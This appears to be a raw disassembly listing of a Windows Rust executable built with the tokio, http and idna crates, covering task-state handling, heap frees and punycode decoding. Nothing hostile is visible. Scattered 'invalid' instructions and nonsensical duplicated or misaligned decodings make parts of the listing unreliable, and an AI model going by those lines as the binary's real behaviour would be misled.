movaps xmm1, xmmword [rsp + 0x120]
movups xmmword [r9 + rcx + 0x40], xmm0
movups xmmword [r9 + rcx + 0x50], xmm1
mov word [r9 + rcx + 0x60], bp
inc rax
mov qword [rsi + 0x28], rax
cmp r15, r12
jae 0x14003b631
mov rax, qword [rsi + 0x48]
mov word [rax + r15*4], dx
mov word [rax + r15*4 + 2], bp
jmp 0x14003b5ef
cmp r13, 0x200
setae bl
mov r14, qword [rsp + 0x88]
cmp qword [r14], 2
setne dil
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x100], rax
movups xmm0, xmmword [rsp + 0x98]
movups xmm1, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
cmp rdx, 0x7fff
ja 0x14003b690
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rsp + 0x98]
movups xmm1, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov rax, rdx
cmp rdx, qword [r14 + 0x18]
jne 0x14003b528
lea rcx, [r14 + 0x18]
call case.0x14002a2ab.1428
mov rdx, qword [rsp + 0x90]
mov r9, qword [r14 + 0x20]
mov rax, qword [r14 + 0x28]
mov rsi, qword [r14 + 0x48]
mov r12, qword [r14 + 0x50]
and bl, dil
imul rcx, rax, 0x68
mov qword [r9 + rcx], 0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [r9 + rcx + 0x18], xmm0
movups xmmword [r9 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x80]
mov qword [r9 + rcx + 0x38], r8
movaps xmm0, xmmword [rsp + 0x110]
movaps xmm1, xmmword [rsp + 0x120]
movups xmmword [r9 + rcx + 0x40], xmm0
movups xmmword [r9 + rcx + 0x50], xmm1
mov word [r9 + rcx + 0x60], bp
inc rax
mov qword [r14 + 0x28], rax
xor eax, eax
nop word cs:[rax + rax]
mov rcx, r15
mov r15d, 0
cmp rcx, r12
jae 0x14003b590
movzx r9d, word [rsi + rcx*4]
cmp r9w, 0xffff
je 0x14003b5ca
inc rax
movzx r8d, word [rsi + rcx*4 + 2]
mov word [rsi + rcx*4], dx
mov word [rsi + rcx*4 + 2], bp
inc rcx
mov ebp, r8d
mov edx, r9d
mov r15, rcx
jmp 0x14003b590
mov word [rsi + rcx*4], dx
mov word [rsi + rcx*4 + 2], bp
cmp rax, 0x80
setb al
not bl
test bl, al
jne 0x14003b5ef
cmp qword [r14], 0
jne 0x14003b5ef
mov qword [r14], 1
mov rcx, qword [rsp + 0x138]
mov qword [rcx], 1
mov rax, qword [rsp + 0x140]
mov qword [rcx + 8], rax
mov byte [rcx + 0x10], 0
add rsp, 0x188
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rdi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r15
mov rdx, r12
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rdi
call fcn.1401085b0
lea rcx, [rsp + 0xb0]
mov rax, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xa8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14003b6db
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
jmp 0x14003b6d8
lea rcx, [rsp + 0xf8]
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xc0]
test rax, rax
je 0x14003b6db
lea rcx, [rsp + 0xd8]
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
call qword [rax + 0x10]
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14012b618]
lea r8, [rsp + 0xe0]
mov edx, 0x17
call fcn.1401088e0
int3
invalid
pop rdi
pop rsi
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14003b8ca
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14003b8f5
test al, 4
je 0x14003bf89
invalid
add byte [rax + 0x48da7403], ch
cmp eax, 0x3f
test al, 3
je 0x14003b8b0
cmp rax, 0x3f
jbe 0x14003bfa1
lea rcx, [rax - 0x40]
cmp rcx, 0x40
cmp ecx, 0x40
cmp ecx, 0x40
setb dl
or dl, 2
add dh, al
cmpxchg qword [rsi], rcx
add dh, al
cmpxchg qword [rsi], rcx
jne 0x14003b8ca
movzx eax, dl
lea rcx, [0x140177a98]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
cmp dword [rsi + 0x28], 2
jne 0x14003bfb9
mov rdi, qword [rsi + 0x20]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and byte [rbx + 0x1469f805], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rax], al
add byte [rax], al
cmp eax, 1
je 0x14003b96a
clc
add dword [rbp + rsi - 0x7b], esi
ror byte [rdi], 0x85
test eax, eax
jne 0x14003ba50
adc eax, dword [rcx]
add byte [rax], al
adc eax, dword [rcx]
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
add byte [rax], al
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
invalid
add dword [rbx + 0x1469a405], ecx
add byte [rbp + 0x48], ah
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
mov al, 1
jmp 0x14003ba53
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsi + 0x28]
add rcx, 0xfffffffffffffffe
cmp rcx, 3
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
cmovb rax, rcx
cmp rax, 1
je 0x14003ba08
test rax, rax
jne 0x14003ba11
mov r8, qword [rsi + 0x30]
test r8, r8
je 0x14003ba11
cmp qword [rsi + 0x38], 0
je 0x14003ba11
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003ba11
lea rcx, [rsi + 0x20]
call fcn.14003c640
jmp 0x14003bed2
lea rcx, [rsi + 0x28]
call fcn.14003c580
mov rax, qword [rsi + 0x60]
test rax, rax
je 0x14003ba21
mov rcx, qword [rsi + 0x68]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
xorps xmm6, xmm6
mov rbx, qword [rsi + 0x30]
mov r13, qword [rsi + 0x38]
mov qword [rsi + 0x30], 0
test rbx, rbx
je 0x14003bff1
cmp al, 1
je 0x14003baa4
movzx eax, al
test eax, eax
jne 0x14003babe
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 0
cmp r13, 0xf
ja 0x14003bb3b
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x28]
call fcn.140015820
mov rcx, rax
shr rcx, 8
and ecx, 0xffffff00
xor ebp, ebp
cmp qword [rsp + 0x30], 0
sete dl
movzx edi, ah
cmove ebp, ecx
and al, dl
mov r14d, 1
cmovne r14d, edi
cmp al, 1
jne 0x14003bb3b
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14003c009
mov rdi, rax
or ebp, r14d
mov word [rax], 0
mov dword [rax + 2], ebp
mov word [rax + 6], 0
jmp 0x14003bc34
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], r13
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x58]
call fcn.140015bc0
cmp qword [rsp + 0x60], 0
jne 0x14003bb63
test byte [rsp + 0x28], 1
jne 0x14003bbd3
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], r13
mov word [rsp + 0x68], 0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x58]
call fcn.1400de7f0
cmp qword [rsp + 0x28], 0
mov rdi, qword [rsp + 0x30]
je 0x14003bba6
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], 0
xor r14d, r14d
jmp 0x14003bc56
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x58]
call fcn.1400dea30
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
jmp 0x14003bc56
movzx ebp, byte [rsp + 0x29]
mov rax, qword [rsp + 0x2a]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x31]
mov qword [rsp + 0x77], rax
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14003c009
mov rdi, rax
mov word [rax], 1
mov byte [rax + 4], bpl
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x77]
mov qword [rdi + 5], rax
mov qword [rdi + 0xc], rcx
mov qword [rdi + 0x14], 0
mov word [rdi + 0x1c], 0
mov rax, rdi
add rax, 0x20
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], rax
mov r14, rdi
mov r15, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
test r13, r13
je 0x14003bc77
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14003bcd0
test eax, eax
jne 0x14003bef5
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r13 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov r13, qword [rsi + 0x20]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], r13
mov rcx, qword [rbx]
add rcx, 0xfffffffffffffffe
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x14003bd5a
test rax, rax
jne 0x14003bd62
mov r8, qword [rsi + 0x30]
test r8, r8
je 0x14003bd62
cmp qword [rsi + 0x38], 0
je 0x14003bd62
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003bd62
mov rcx, rbx
call fcn.14003c580
mov qword [rbx], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14003bdbe
test eax, eax
jne 0x14003bf3f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r13 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov r13, qword [rsi + 0x20]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], r13
mov rcx, qword [rbx]
add rcx, 0xfffffffffffffffe
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x14003be48
test rax, rax
jne 0x14003be50
mov r8, qword [rsi + 0x30]
test r8, r8
je 0x14003be50
cmp qword [rsi + 0x38], 0
je 0x14003be50
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003be50
mov rcx, rbx
call fcn.14003c580
mov qword [rsi + 0x28], 0
mov qword [rsi + 0x30], r14
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x40], r15
mov qword [rsi + 0x48], r12
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14003beb8
test eax, eax
jne 0x14003bed2
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x14003c8f0
mov r13, qword [rsi + 0x20]
cmp eax, 1
je 0x14003bcee
xorps xmm6, xmm6
test eax, eax
jne 0x14003bd1a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbp, qword [rcx + rax*8]
lea rcx, [rbp + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbp + 0x120], 1
jmp 0x14003bcee
mov r13, qword [rsi + 0x20]
cmp eax, 1
je 0x14003bddc
xorps xmm6, xmm6
test eax, eax
jne 0x14003be08
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbp, qword [rcx + rax*8]
lea rcx, [rbp + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbp + 0x120], 1
jmp 0x14003bddc
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x28]
call fcn.140108560
lea rcx, str._internal_exception__blocking_task_ran_twice.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_blocking_task.rs
lea r8, [0x14014f0c0]
mov edx, 0x2d
call fcn.140108990
mov ecx, 4
mov edx, 0x20
call fcn.1401082c0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14003c910
test al, 1
je 0x14003cb4e
test al, 2
jne 0x14003cb66
test al, 8
jne 0x14003c9fe
mov rdi, qword [rsi + 0x20]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14003c98d
xorps xmm6, xmm6
test eax, eax
jne 0x14003c9b9
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x28]
mov rcx, qword [rsi + 0x28]
add rcx, 0xfffffffffffffffe
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x14003ca1c
test rax, rax
jne 0x14003ca24
mov r8, qword [rsi + 0x30]
test r8, r8
je 0x14003ca24
cmp qword [rsi + 0x38], 0
je 0x14003ca24
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003ca24
test al, 0x10
je 0x14003ca95
mov rax, qword [rsi + 0x60]
test rax, rax
je 0x14003cbea
mov rcx, qword [rsi + 0x68]
call qword [rax + 0x10]
jmp 0x14003ca95
mov rcx, rdi
call fcn.14003c580
mov qword [rdi], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14003ca7b
test eax, eax
jne 0x14003ca95
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov qword [rsp + 0x20], 1
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14003cb7e
jne 0x14003cafc
mov rcx, qword [rsi + 0x28]
add rcx, 0xfffffffffffffffe
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x14003cb0f
test rax, rax
jne 0x14003cb18
mov r8, qword [rsi + 0x30]
test r8, r8
je 0x14003cb18
cmp qword [rsi + 0x38], 0
je 0x14003cb18
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003cb18
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, [rsi + 0x28]
call fcn.14003c580
mov rax, qword [rsi + 0x60]
test rax, rax
je 0x14003cb28
mov rcx, qword [rsi + 0x68]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
mov dword [rsp + 0x50], r11d
mov r15, rdx
lea r9d, [rbp + 0x1a]
inc r13
mov r10d, ebp
neg r10d
mov r11d, 0x24
mov edi, 1
mov ecx, esi
movzx eax, byte [r13 - 1]
lea edx, [rax - 0x30]
cmp dl, 0xa
jb 0x14003ed90
nop word [rax + rax]
lea edx, [rax - 0x41]
cmp dl, 0x1a
jb 0x14003ed94
add al, 0x9f
mov edx, eax
cmp al, 0x1a
jb 0x14003ed94
jmp 0x14003f023
add al, 0xea
mov edx, eax
test edi, edi
je 0x14003f043
movzx r8d, dl
mov eax, ecx
not eax
xor edx, edx
div edi
cmp eax, r8d
jb 0x14003f023
mov eax, edi
imul eax, r8d
add ecx, eax
lea eax, [r10 + r11]
cmp r11d, r9d
mov edx, 0x1a
cmovae eax, edx
cmp r11d, ebp
cmovbe eax, r12d
cmp eax, r8d
ja 0x14003ee10
mov r8d, 0x24
sub r8d, eax
mov eax, r8d
mov eax, eax
mov eax, eax
mul edi
jo 0x14003f023
cmp r13, r14
je 0x14003f023
add r11d, 0x24
imul edi, r8d
inc r13
movzx eax, byte [r13 - 1]
lea edx, [rax - 0x30]
cmp dl, 0xa
jae 0x14003ed70
invalid
invalid
jmp 0x14003ed90
mov edi, dword [rsp + 0x68]
inc edi
je 0x14003f6b8
mov eax, ecx
sub eax, esi
test esi, esi
mov r8d, 2
mov edx, 0x2bc
cmove r8d, edx
xor ebp, ebp
xor edx, edx
div r8d
mov r8d, eax
xor edx, edx
div edi
add eax, r8d
cmp eax, 0x1c8
mov r9, qword [rsp + 0x58]
mov r10, r15
mov r11d, dword [rsp + 0x50]
jb 0x14003ee89
xor ebp, ebp
mov esi, 0xd41d41d5
nop dword [rax]
mov edx, eax
imul rdx, rsi
shr rdx, 0x20
mov r8d, eax
sub r8d, edx
shr r8d, 1
add r8d, edx
shr r8d, 5
add ebp, 0x24
cmp eax, 0x3e57
mov eax, r8d
ja 0x14003ee60
jmp 0x14003ee8c
mov r8d, eax
lea eax, [r8*4]
lea eax, [rax + rax*8]
add r8d, 0x26
xor edx, edx
div r8w
mov r8d, eax
mov eax, ecx
xor edx, edx
div edi
add r11d, eax
jb 0x14003f023
mov eax, r11d
xor eax, 0xd800
add eax, 0xffef0000
add byte [rax], al
out dx, eax
invalid
cmp eax, 0xffef0800
jb 0x14003f023
add byte [rax], al
out dx, eax
invalid
mov esi, edx
mov word [rsp + 0x70], r8w
mov dword [rsp + 0x68], edi
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
mov edi, edx
test r10, r10
je 0x14003ef20
invalid
mov rax, r10
shl rax, 4
xor r8d, r8d
jmp 0x14003ef09
add r8, 0x10
cmp rax, r8
je 0x14003ef20
mov rdx, qword [rcx + r8]
cmp rdx, rdi
jb 0x14003ef00
inc rdx
mov qword [rcx + r8], rdx
jmp 0x14003ef00
mov r15, qword [rsp + 0x60]
cmp r10, qword [r15]
jne 0x14003ef49
mov rcx, r15
mov dword [rsp + 0x50], r11d
call fcn.140046370
mov r11d, dword [rsp + 0x50]
mov r9, qword [rsp + 0x58]
mov rcx, qword [r15 + 8]
mov r10, qword [r15 + 0x10]
movzx eax, word [rsp + 0x70]
mov bh, 0x44
and al, 0x70
add ebp, eax
mov rax, r10
shl rax, 4
mov qword [rcx + rax], rdi
mov dword [rcx + rax + 8], r11d
lea rdx, [r10 + 1]
mov qword [r15 + 0x10], rdx
inc esi
cmp r13, r14
jne 0x14003ed38
cmp rdx, 0x15
jae 0x14003f04f
adc edx, 0
add byte [rax], al
adc edx, 0
add byte [rax], al
cmp rdx, 1
jbe 0x14003efa7
mov r8d, 1
mov rsi, rcx
mov rdi, rdx
call fcn.14003f800
mov rdx, rdi
mov rcx, rsi
mov r9, qword [rsp + 0x58]
jmp 0x14003efa7
mov r8, qword [rsp + 0x30]
lea rax, [rbx + r9]
add r9, rdx
mov qword [r8], rbx
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rdx
xorps xmm0, xmm0
movups xmmword [r8 + 0x20], xmm0
mov qword [r8 + 0x30], r9
jmp 0x14003f02f
mov rax, qword [rsp + 0x30]
mov qword [rax], 0
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401087d0
mov rsi, r10
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x28], rdx
lea rax, [rdx*8]
movabs rdx, 0x7ffffffffffffff0
and rdx, rax
movzx eax, byte [0x140182310]
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14003f7e2
mov rbp, rax
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14003f7ee
mov r15, rax
mov eax, 1
sub rax, rsi
mov qword [rsp + 0x80], rax
mov r10, qword [rsp + 0x38]
lea rax, [r10 + 0x20]
mov qword [rsp + 0x78], rax
lea rax, [r10 - 0x10]
mov qword [rsp + 0x98], rax
mov eax, 0x10
mov qword [rsp + 0x88], rax
xor esi, esi
xor r13d, r13d
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
jmp 0x14003f10e
mov r13d, 1
mov rsi, qword [rsp + 0x90]
cmp rsi, rdx
jae 0x14003f67c
mov rax, rdx
sub rax, rsi
mov r9, rsi
shl r9, 4
lea rcx, [r10 + r9]
cmp rax, 2
jae 0x14003f19e
mov r8, rax
lea rax, [r8 + rsi]
mov rdi, rax
sub rdi, rsi
jb 0x14003f76e
cmp rax, rdx
ja 0x14003f76e
jae 0x14003f273
cmp r8, 0xa
jae 0x14003f273
lea rdi, [rsi + 0xa]
cmp rdi, rdx
cmovae rdi, rdx
cmp rsi, 0xfffffffffffffff6
jae 0x14003f7a3
cmp r8, 1
adc r8, 0
mov qword [rsp + 0x90], rdi
sub rdi, rsi
mov rdx, rdi
call fcn.14003f800
mov rdx, qword [rsp + 0x28]
cmp r13, qword [rsp + 0x88]
je 0x14003f289
mov r10, qword [rsp + 0x38]
jmp 0x14003f2eb
mov r10, qword [rcx + 0x10]
cmp r10, qword [rcx]
jae 0x14003f607
mov edi, 2
cmp rax, 2
je 0x14003f1f7
mov rdx, qword [rsp + 0x80]
lea r8, [rdx + rsi]
add r9, qword [rsp + 0x78]
nop word [rax + rax]
mov r11, r10
mov r10, qword [r9]
cmp r10, r11
jae 0x14003f1f2
lea r11, [r8 + rdi]
inc r11
inc rdi
add r9, 0x10
cmp r11, 2
jne 0x14003f1d0
mov rdi, rax
mov rdx, qword [rsp + 0x28]
mov rax, rdi
add rax, rsi
jb 0x14003f7d0
cmp rax, rdx
ja 0x14003f7c1
mov r8d, 1
cmp rdi, 2
jb 0x14003f12c
mov r8, rax
mov rax, rdi
shr rax, 1
mov r14, r8
shl r8, 4
add r8, qword [rsp + 0x98]
mov r9, rcx
nop word [rax + rax]
mov r10, qword [r9]
mov r11d, dword [r9 + 8]
movups xmm0, xmmword [r8]
movups xmmword [r9], xmm0
mov qword [r8], r10
mov dword [r8 + 8], r11d
add r9, 0x10
add r8, 0xfffffffffffffff0
dec rax
jne 0x14003f240
mov r8, rdi
mov rdx, qword [rsp + 0x28]
mov rax, r14
jmp 0x14003f12c
mov qword [rsp + 0x90], rax
cmp r13, qword [rsp + 0x88]
jne 0x14003f194
mov rdx, r13
shl rdx, 5
movzx eax, byte [0x140182310]
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14003f7b5
mov r14, rax
lea rax, [r13*2]
mov qword [rsp + 0x88], rax
mov r8, r13
shl r8, 4
mov rcx, r14
mov rdx, r15
call fcn.140106530
mov rcx, qword [0x140182260]
xor edx, edx
